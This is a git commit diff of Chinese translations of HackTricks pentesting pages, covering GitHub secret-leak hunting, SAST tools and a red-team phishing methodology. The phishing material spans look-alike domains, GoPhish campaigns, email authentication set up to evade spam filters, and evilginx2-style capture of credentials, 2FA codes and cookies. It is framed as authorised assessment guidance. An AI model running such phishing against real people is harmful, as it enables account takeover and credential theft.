Translated ['generic-methodologies-and-resources/external-recon-methodol

This commit is contained in:
Translator 2023-09-04 14:18:18 +00:00
parent fd0200d627
commit 4613549af4
5 changed files with 521 additions and 439 deletions

View file

@ -371,7 +371,7 @@
* [Buckets](network-services-pentesting/pentesting-web/buckets/README.md)
* [Firebase Database](network-services-pentesting/pentesting-web/buckets/firebase-database.md)
* [CGI](network-services-pentesting/pentesting-web/cgi.md)
* [Code Review Tools](network-services-pentesting/pentesting-web/code-review-tools.md)
* [Source code Review / SAST Tools](network-services-pentesting/pentesting-web/code-review-tools.md)
* [DotNetNuke (DNN)](network-services-pentesting/pentesting-web/dotnetnuke-dnn.md)
* [Drupal](network-services-pentesting/pentesting-web/drupal.md)
* [Flask](network-services-pentesting/pentesting-web/flask.md)

View file

@ -5,28 +5,29 @@
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* 你在一家**网络安全公司**工作吗想要在HackTricks中看到你的**公司广告**吗?或者你想要**获取PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
* 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品——[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
* 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
* 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass)或者**关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f) 或者 [**telegram群组**](https://t.me/peass) 或者**关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
* **通过向**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和**[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享你的黑客技巧。**
</details>
<img src="../../.gitbook/assets/i3.png" alt="" data-size="original">\
**赏金猎人提示****注册**Intigriti这是一个由黑客创建的高级**赏金猎人平台**!立即加入我们的[**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks),开始赚取高达**$100,000**的赏金!
**Bug赏金提示****注册**Intigriti一个由黑客创建的高级**Bug赏金平台**!立即加入我们的[**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks),开始赚取高达**$100,000**的赏金!
{% embed url="https://go.intigriti.com/hacktricks" %}
现在我们已经建立了我们范围内的资产列表是时候搜索一些OSINT的低风险目标了。
### 已经搜索泄的平台
### 已经搜索泄的平台
* [https://trufflesecurity.com/blog/introducing-forager/](https://trufflesecurity.com/blog/introducing-forager/)
### Github中的API密钥泄
### Github中的API密钥泄
* [https://github.com/dxa4481/truffleHog](https://github.com/dxa4481/truffleHog)
* [https://github.com/gitleaks/gitleaks](https://github.com/gitleaks/gitleaks)
* [https://github.com/Yelp/detect-secrets](https://github.com/Yelp/detect-secrets)
* [https://github.com/hisxo/gitGraber](https://github.com/hisxo/gitGraber)
* [https://github.com/eth0izzle/shhgit](https://github.com/eth0izzle/shhgit)
* [https://github.com/techgaun/github-dorks](https://github.com/techgaun/github-dorks)
@ -320,12 +321,12 @@ AWS SECRET
```
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks 云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 推特 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 推特 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* 你在一家**网络安全公司**工作吗?想要在 HackTricks 中**宣传你的公司**吗?或者你想要**获取最新版本的 PEASS 或下载 HackTricks 的 PDF**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
* 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品——[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
* 获取[**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
* **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass),或者**关注**我在**推特**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
* **通过向** [**hacktricks 仓库**](https://github.com/carlospolop/hacktricks) **和** [**hacktricks-cloud 仓库**](https://github.com/carlospolop/hacktricks-cloud) **提交 PR 来分享你的黑客技巧。**
* 你在一个**网络安全公司**工作吗你想在HackTricks中看到你的**公司广告**吗?或者你想获得**PEASS的最新版本或下载HackTricks的PDF**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
* 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
* 获得[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
* **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram群组**](https://t.me/peass) 或 **关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
* 通过向[**hacktricks repo**](https://github.com/carlospolop/hacktricks)和[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud)提交PR来**分享你的黑客技巧**。
</details>

View file

@ -5,7 +5,7 @@
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks 云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 推特 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* 你在一家**网络安全公司**工作吗?想要在 HackTricks 上看到你的**公司广告**吗?或者你想要**获取最新版本的 PEASS 或下载 HackTricks 的 PDF**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
* 发现我们的独家 NFT 收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
* 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
* 获取[**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass),或者**关注**我在**推特**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
* **通过向**[**hacktricks 仓库**](https://github.com/carlospolop/hacktricks) **和**[**hacktricks-cloud 仓库**](https://github.com/carlospolop/hacktricks-cloud) **提交 PR 来分享你的黑客技巧。**
@ -36,7 +36,7 @@
* **新顶级域**:使用**新的顶级域**相同的域名例如zelster.org
* **同形异义字**:用看起来相似的字母**替换**域名中的字母例如zelfser.com
* **转位**:在域名中**交换两个字母**例如zelster.com
* **单数/复数**在域名末尾添加或删除“s”例如zeltsers.com
* **单复数**在域名末尾添加或删除“s”例如zeltsers.com
* **省略**:从域名中**删除一个**字母例如zelser.com
* **重复**:在域名中**重复一个**字母例如zeltsser.com
* **替换**类似于同形异义字但不那么隐蔽。它用一个字母替换域名中的一个字母可能是键盘上与原始字母相邻的字母例如zektser.com
@ -62,7 +62,7 @@
然而,如果其中一个位由于太阳耀斑、宇宙射线或硬件错误而自动翻转会怎样呢?也就是其中的一个 0 变成了 1反之亦然。\
将这个概念应用到 DNS 请求中,可能发生的情况是,**到达 DNS 服务器的请求域名与最初请求的域名不同**。
例如,对域名 windows.com 进行 1 位修改,可以将其转换为 _windnws.com._\
例如,对域名 windows.com 进行 1 位修改,可以将其转换为 _windnws.com_\
**攻击者可能会注册尽可能多与受害者相关的位翻转域名,以将合法用户重定向到他们的基础设施**。
欲了解更多信息,请阅读[https://www.bleepingcomputer.com/news/security/hijacking-traffic-to-microsoft-s-windowscom-with-bitflipping/](https://www.bleepingcomputer.com/news/security/hijacking-traffic-to-microsoft-s-windowscom-with-bitflipping/)。
@ -232,7 +232,7 @@ service gophish stop
### 等待
域名越旧被识别为垃圾邮件的可能性就越低。因此在进行钓鱼评估之前您应该尽可能地等待一段时间至少1周\
域名越旧被识别为垃圾邮件的可能性就越低。因此在进行钓鱼评估之前您应该尽可能地等待一段时间至少1周
请注意,即使您需要等待一周,您现在可以完成所有配置。
### 配置反向DNSrDNS记录
@ -241,7 +241,7 @@ service gophish stop
### 发件人策略框架SPF记录
您必须**为新域名配置SPF记录**。如果您不知道什么是SPF记录请[**阅读此页面**](../../network-services-pentesting/pentesting-smtp/#spf)。
您必须为新域名**配置SPF记录**。如果您不知道什么是SPF记录请[**阅读此页面**](../../network-services-pentesting/pentesting-smtp/#spf)。
您可以使用[https://www.spfwizard.net/](https://www.spfwizard.net)生成您的SPF策略使用VPS机器的IP
@ -259,7 +259,7 @@ v=spf1 mx a ip4:ip.ip.ip.ip ?all
```bash
v=DMARC1; p=none
```
### 域识别邮件DKIM
### 域名密钥识别邮件DKIM
您必须为新域名**配置DKIM**。如果您不知道什么是DMARC记录请[**阅读此页面**](../../network-services-pentesting/pentesting-smtp/#dkim)。
@ -279,7 +279,7 @@ v=DKIM1; h=sha256; k=rsa; p=MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA0wPibdqP
```bash
echo "This is the body of the email" | mail -s "This is the subject line" test-iimosa79z@srv1.mail-tester.com
```
您还可以通过向`check-auth@verifier.port25.com`发送电子邮件并阅读响应来**检查您的电子邮件配置**(为此,您需要**打开**端口**25**并在文件`/var/mail/root`中查看响应如果您以root身份发送电子邮件。\
您还可以通过向`check-auth@verifier.port25.com`发送电子邮件并阅读响应来检查您的电子邮件配置为此您需要打开端口25并在文件`/var/mail/root`中查看响应如果您以root身份发送电子邮件。\
检查您是否通过了所有测试:
```bash
==========================================================
@ -305,7 +305,7 @@ dkim=pass header.i=@example.com;
您可以在[https://sender.office.com/](https://sender.office.com)请求将您的域名/IP移除。
## 创建并启动GoPhish攻击
## 创建并启动GoPhish攻击活动
### 发送配置
@ -346,16 +346,16 @@ WRITE HERE SOME SIGNATURE OF SOMEONE FROM THE COMPANY
</body>
</html>
```
注意,为了增加邮件的可信度,建议使用来自客户的某些签名。建议如下
注意,为了增加邮件的可信度,建议使用来自客户的某些签名。建议:
- 发送电子邮件到一个不存在的地址,并检查响应是否有任何签名。
- 搜索公共电子邮件如info@ex.com或press@ex.com或public@ex.com并向它们发送电子邮件并等待响应
- 尝试联系一些已发现的有效电子邮件,并等待响应
- 发送邮件到一个不存在的地址,并检查回复是否有签名。
- 搜索像info@ex.com或press@ex.com或public@ex.com这样的公共电子邮件并向它们发送邮件并等待回复
- 尝试联系一些已发现的有效电子邮件,并等待回复
![](<../../.gitbook/assets/image (393).png>)
{% hint style="info" %}
电子邮件模板还允许**附加文件进行发送**。如果您还想使用一些特制的文件/文档来窃取NTLM挑战请阅读此页面。
邮件模板还允许**附加文件进行发送**。如果您还想使用一些特制的文件/文档来窃取NTLM挑战请阅读此页面。
{% endhint %}
### 登陆页面
@ -369,7 +369,7 @@ WRITE HERE SOME SIGNATURE OF SOMEONE FROM THE COMPANY
{% hint style="info" %}
通常您需要修改页面的HTML代码并在本地进行一些测试可能使用一些Apache服务器**直到您满意为止**。然后将HTML代码写入框中。
请注意如果您需要为HTML使用一些静态资源可能是一些CSS和JS页面您可以将它们保存在_/opt/gophish/static/endpoint_中然后从_/static/\<filename>_访问它们。
请注意如果您需要为HTML使用一些静态资源例如一些CSS和JS页面您可以将它们保存在_/opt/gophish/static/endpoint_中然后从_/static/\<filename>_访问它们。
{% endhint %}
{% hint style="info" %}
@ -387,12 +387,12 @@ WRITE HERE SOME SIGNATURE OF SOMEONE FROM THE COMPANY
最后创建一个活动选择一个名称、电子邮件模板、登陆页面、URL、发送配置文件和组。请注意URL将是发送给受害者的链接。
请注意,**发送配置文件允许发送测试电子邮件,以查看最终钓鱼电子邮件的外观**
请注意,**发送配置文件允许发送测试邮件,以查看最终钓鱼邮件的外观**
![](<../../.gitbook/assets/image (396).png>)
{% hint style="info" %}
我建议将测试电子邮件发送到10分钟邮件地址以避免在测试中被列入黑名单。
我建议将测试邮件发送到10分钟邮件地址以避免在测试中被列入黑名单。
{% endhint %}
一切准备就绪后,启动活动!
@ -407,7 +407,7 @@ WRITE HERE SOME SIGNATURE OF SOMEONE FROM THE COMPANY
## 带后门的文档和文件
在某些钓鱼评估中(主要是为了红队),您还希望**发送包含某种后门的文件**(可能是一个C2或者只是触发身份验证的东西)。
在某些钓鱼评估中(主要是为了红队),您还希望**发送包含某种后门的文件**(可能是C2也可能只是触发身份验证的东西)。
请查看以下页面以获取一些示例:
{% content-ref url="phishing-documents.md" %}
@ -420,30 +420,30 @@ WRITE HERE SOME SIGNATURE OF SOMEONE FROM THE COMPANY
前面的攻击非常聪明因为您正在伪造一个真实网站并收集用户设置的信息。不幸的是如果用户没有输入正确的密码或者如果您伪造的应用程序配置了2FA**这些信息将无法让您冒充被欺骗的用户**。
这就是[**evilginx2**](https://github.com/kgretzky/evilginx2)或[**CredSniper**](https://github.com/ustayready/CredSniper)这样的工具有用的地方。这个工具将允许您生成类似于MitM的攻击。基本上攻击的工作方式如下
这就是[**evilginx2**](https://github.com/kgretzky/evilginx2)**、**[**CredSniper**](https://github.com/ustayready/CredSniper)和[**muraena**](https://github.com/muraenateam/muraena)等工具有用的地方。这些工具将允许您生成类似于MitM的攻击。基本上攻击的工作方式如下
1. 您**冒充真实网页的登录**表单。
1. 您**冒充**真实网页的**登录**表单。
2. 用户将其凭据发送到您的伪造页面,工具将这些凭据发送到真实网页,**检查凭据是否有效**。
3. 如果帐户配置了**2FA**MitM页面将要求输入2FA一旦用户输入2FA工具将其发送到真实网页。
4. 一旦用户通过身份验证,您(作为攻击者)将**捕获到凭据、2FA、cookie和任何与工具执行MitM期间的每次交互相关的信息**。
3. 如果帐户配置了**2FA**MitM页面将要求输入2FA一旦用户输入2FA工具将其发送到真实网页。
4. 一旦用户通过身份验证,您(作为攻击者)将**捕获到凭据、2FA、Cookie和任何与工具执行MitM期间的每次交互相关的信息**。
### 通过VNC
如果您不是将受害者**发送到一个具有与原始页面相同外观的恶意页面**,而是将其发送到一个**连接到真实网页的浏览器的VNC会话**中会怎么样您将能够看到他的操作窃取密码、使用的MFA、cookie等等...
如果您不是将受害者**发送到一个具有与原始网站相同外观的恶意页面**,而是将其发送到一个**连接到真实网页的浏览器的VNC会话**中会怎么样您将能够看到他的操作窃取密码、使用的MFA、Cookie等等。
您可以使用[**EvilnVNC**](https://github.com/JoelGMSec/EvilnoVNC)来实现这一点。
## 检测检测
显然,了解自己是否被抓住的最好方法之一是**在黑名单中搜索您的域名**。如果它出现在列表中,那么您的域名以某种方式被检测为可疑。
显然,了解自己是否被抓住的最好方法之一是在黑名单中搜索您的域名。如果它出现在列表中,那么您的域名以某种方式被检测为可疑。
检查您的域名是否出现在任何黑名单中的一种简单方法是使用[https://malwareworld.com/](https://malwareworld.com)
然而,还有其他方法可以知道受害者是否**在野外积极寻找可疑的钓鱼活动**,如下所述:
然而,还有其他方法可以知道受害者是否**积极寻找可疑的钓鱼活动**,如下所述:
{% content-ref url="detecting-phising.md" %}
[detecting-phising.md](detecting-phising.md)
{% endcontent-ref %}
您可以**购买一个与受害者域名非常相似的域名**,并/或为您控制的域名的子域生成一个包含受害者域名关键字的证书。如果受害者它们进行任何形式的DNS或HTTP交互您将知道他正在积极寻找可疑的域名您需要非常隐秘。
您可以**购买一个与受害者域名非常相似的域名**,并/或为您控制的域名的子域生成一个包含受害者域名关键字的证书。如果受害者它们进行任何形式的DNS或HTTP交互您将知道他正在积极寻找可疑的域名您需要非常隐秘。
### 评估钓鱼
@ -456,12 +456,12 @@ WRITE HERE SOME SIGNATURE OF SOMEONE FROM THE COMPANY
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* 你在一家**网络安全公司**工作吗?想要在 HackTricks 中**宣传你的公司**吗?或者想要**获取 PEASS 的最新版本或下载 HackTricks 的 PDF**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
* 发现我们的独家 NFT 收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
* 获取[**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram 群组**](https://t.me/peass),或者**关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
* **通过向**[**hacktricks 仓库**](https://github.com/carlospolop/hacktricks) **和**[**hacktricks-cloud 仓库**](https://github.com/carlospolop/hacktricks-cloud) **提交 PR 来分享你的黑客技巧。**
* 你在一家**网络安全公司**工作吗?想要在HackTricks中**宣传你的公司**吗?或者你想要**获取PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
* 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品——[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
* 获得[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass),或者**关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
* **通过向**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和**[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享你的黑客技巧。**
</details>

View file

@ -1,288 +1,234 @@
# 代码审查工具
# 代码审查 / SAST工具
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 推特 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
- 你在一家**网络安全公司**工作吗?你想在 HackTricks 中看到你的**公司广告**吗?或者你想获得**PEASS 的最新版本或下载 HackTricks 的 PDF 版本**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
- 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
- 获取[**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
- **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass),或者**关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
- **通过向[hacktricks 仓库](https://github.com/carlospolop/hacktricks)和[hacktricks-cloud 仓库](https://github.com/carlospolop/hacktricks-cloud)提交 PR 来分享你的黑客技巧。**
* 你在一家**网络安全公司**工作吗你想在HackTricks中看到你的**公司广告**吗?或者你想获得**PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
* 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
* 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass),或者**关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
* **通过向**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和**[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享你的黑客技巧。**
</details>
## 通用
* [**https://owasp.org/www-community/Source\_Code\_Analysis\_Tools**](https://owasp.org/www-community/Source\_Code\_Analysis\_Tools)\
## 指南和工具列表
* [**https://owasp.org/www-community/Source\_Code\_Analysis\_Tools**](https://owasp.org/www-community/Source\_Code\_Analysis\_Tools)
* [**https://github.com/analysis-tools-dev/static-analysis**](https://github.com/analysis-tools-dev/static-analysis)
## 多语言工具
### [Naxus - AI-Gents](https://www.naxusai.com/)
有一个**免费的套餐用于审查PRs**。
### [**Semgrep**](https://github.com/returntocorp/semgrep)
这是一个**开源工具**。
#### 支持的语言
| 类别 | 语言 |
| ------------ | ----------------------------------------------------------------------------------------------------- |
| GA | C# · Go · Java · JavaScript · JSX · JSON · PHP · Python · Ruby · Scala · Terraform · TypeScript · TSX |
| Beta | Kotlin · Rust |
| Experimental | Bash · C · C++ · Clojure · Dart · Dockerfile · Elixir · HTML · Julia · Jsonnet · Lisp · |
#### 快速入门
{% code overflow="wrap" %}
```bash
https://www.sonarqube.org/downloads/
https://deepsource.io/signup/
https://github.com/pyupio/safety
https://github.com/returntocorp/semgrep
https://github.com/WhaleShark-Team/cobra
https://github.com/insidersec/insider
# Install https://github.com/returntocorp/semgrep#option-1-getting-started-from-the-cli
brew install semgrep
# Find interesting strings
https://github.com/s0md3v/hardcodes
https://github.com/micha3lb3n/SourceWolf
https://libraries.io/pypi/detect-secrets
# Go to your repo code and scan
cd repo
semgrep scan --config auto
```
## JavaScript
### 发现
1. Burp
- 使用Spider发现内容
- Sitemap > 过滤器
- Sitemap > 右键点击域名 > Engagement工具 > 查找脚本
2. [WaybackURLs](https://github.com/tomnomnom/waybackurls)
- `waybackurls <domain> |grep -i "\.js" |sort -u`
### 静态分析
#### 反混淆/美化/格式化
https://prettier.io/playground/
https://beautifier.io/
#### 解混淆/解包
__注意__可能无法完全解混淆。
1. 查找并使用.map文件
- 如果.map文件被公开可以使用它们轻松解混淆。
- 通常foo.js.map对应foo.js。手动查找它们。
- 使用[JS Miner](https://github.com/PortSwigger/js-miner)查找它们。
- 确保进行主动扫描。
- 阅读'[提示/笔记](https://github.com/minamo7sen/burp-JS-Miner/wiki#tips--notes)'
- 如果找到,请使用[Maximize](https://www.npmjs.com/package/maximize)进行解混淆。
2. 如果没有.map文件请尝试JSnice
- 参考http://jsnice.org/ 和 https://www.npmjs.com/package/jsnice
- 提示:
- 如果使用jsnice.org请点击“Nicify JavaScript”按钮旁边的选项按钮并取消选择“Infer types”以减少代码中的注释。
- 确保在脚本之前没有留下空行,因为它可能会影响解混淆过程并导致不准确的结果。
3. 使用console.log(<packerReturnVariable>);
- 找到最后的返回值,并将其更改为`console.log(<packerReturnVariable>);`以便打印解混淆的js而不是执行它。
- 然后将修改后仍然混淆的js粘贴到https://jsconsole.com/中以查看解混淆的js在控制台中记录。
- 最后将解混淆的输出粘贴到https://prettier.io/playground/中进行美化以进行分析。
- __注意__如果仍然看到打包的但不同的js则可能是递归打包。重复此过程。
#### 分析
参考:
https://medium.com/techiepedia/javascript-code-review-guide-for-bug-bounty-hunters-c95a8aa7037a
{% endcode %}
查找:
- 反调试加载
- Angular[enableProdMode](https://blog.nvisium.com/angular-for-pentesters-part-2)
- 密钥
- 使用:
- [JS Miner](https://github.com/PortSwigger/js-miner)
- [RegHex](https://github.com/l4yton/RegHex)模式
- [gf](https://github.com/tomnomnom/gf/tree/master/examples)模式
- Grep相关字典模式
- pass, user, admin
- auth, login, sign, challenge, 2fa
- key, apikey, api_key, api-key, jwt, token
- secret, security, secure
- ...
- 手动审查
- 如果找到API密钥请在此处检查潜在的使用语法https://github.com/streaak/keyhacks。
- 漏洞函数
- InnerHTML() - 如果找到此函数意味着如果没有进行适当的净化可能存在XSS的潜在机会。即使您的有效负载已经被净化也不用担心。跟踪代码以找出净化发生的位置。研究它并尝试绕过净化。
- Postmessage() - 如果您阅读过我的先前文章https://medium.com/techiepedia/what-are-sop-cors-and-ways-to-exploit-it-62a5e02100dc您会注意到Postmessage()可能导致潜在的CORS问题。如果函数的第二个参数设置为*,那么您是幸运的人。查看我的先前文章以了解更多相关机制。
- String.prototype.search() - 这个函数看起来很正常。为什么它会是一个危险的函数呢?因为一些开发人员使用它来查找一个字符串在另一个字符串中的出现。然而,“.”在这个函数中被视为通配符。因此,如果此函数用作净化检查,您可以通过输入“.”来简单地绕过它。查看Filedescryptor的hackerone报告https://hackerone.com/reports/129873
- 端点和参数
- 使用[LinkFinder](https://github.com/GerbenJavado/LinkFinder)和[JS Miner](https://github.com/PortSwigger/js-miner)。
- 漏洞库和依赖项
- 使用[Retire.js](https://retirejs.github.io/retire.js/)和[NPM](https://snyk.io/advisor/)(向下滚动到安全部分 > 所有版本链接)。
- 云URL
- 使用[JS Miner](https://github.com/PortSwigger/js-miner)。
- 子域名
- 使用[JS Miner](https://github.com/PortSwigger/js-miner)。
- 逻辑漏洞
- 获得情境意识:
- `use strict;`
- Grep客户端控件
- disable, enable, hidden, hide, show
- catch, finally, throw, try
- input, validate, verify, valid, correct, check, confirm, require, ..
- Grep非原始类型
- function , =>
- class
### 动态分析
您还可以使用[**semgrep VSCode扩展**](https://marketplace.visualstudio.com/items?itemName=Semgrep.semgrep)在VSCode中获取结果。
参考资料
- https://www.youtube.com/watch?v=_v8r_t4v6hQ
- https://blog.nvisium.com/angular-for-pentesters-part-1
- https://blog.nvisium.com/angular-for-pentesters-part-2
### [**SonarQube**](https://www.sonarsource.com/products/sonarqube/downloads/)
工具
- https://portswigger.net/burp/documentation/desktop/tools/dom-invader
有一个可安装的**免费版本**。
#### 不常用的参考资料
- https://cyberchef.org/
- https://olajs.com/javascript-prettifier
- https://jshint.com/
- https://github.com/jshint/jshint/
#### 快速入门
{% code overflow="wrap" %}
```bash
# Run the paltform in docker
docker run -d --name sonarqube -e SONAR_ES_BOOTSTRAP_CHECKS_DISABLE=true -p 9000:9000 sonarqube:latest
# Install cli tool
brew install sonar-scanner
# Go to localhost:9000 and login with admin:admin or admin:sonar
# Generate a local project and then a TOKEN for it
# Using the token and from the folder with the repo, scan it
cd path/to/repo
sonar-scanner \
-Dsonar.projectKey=<project-name> \
-Dsonar.sources=. \
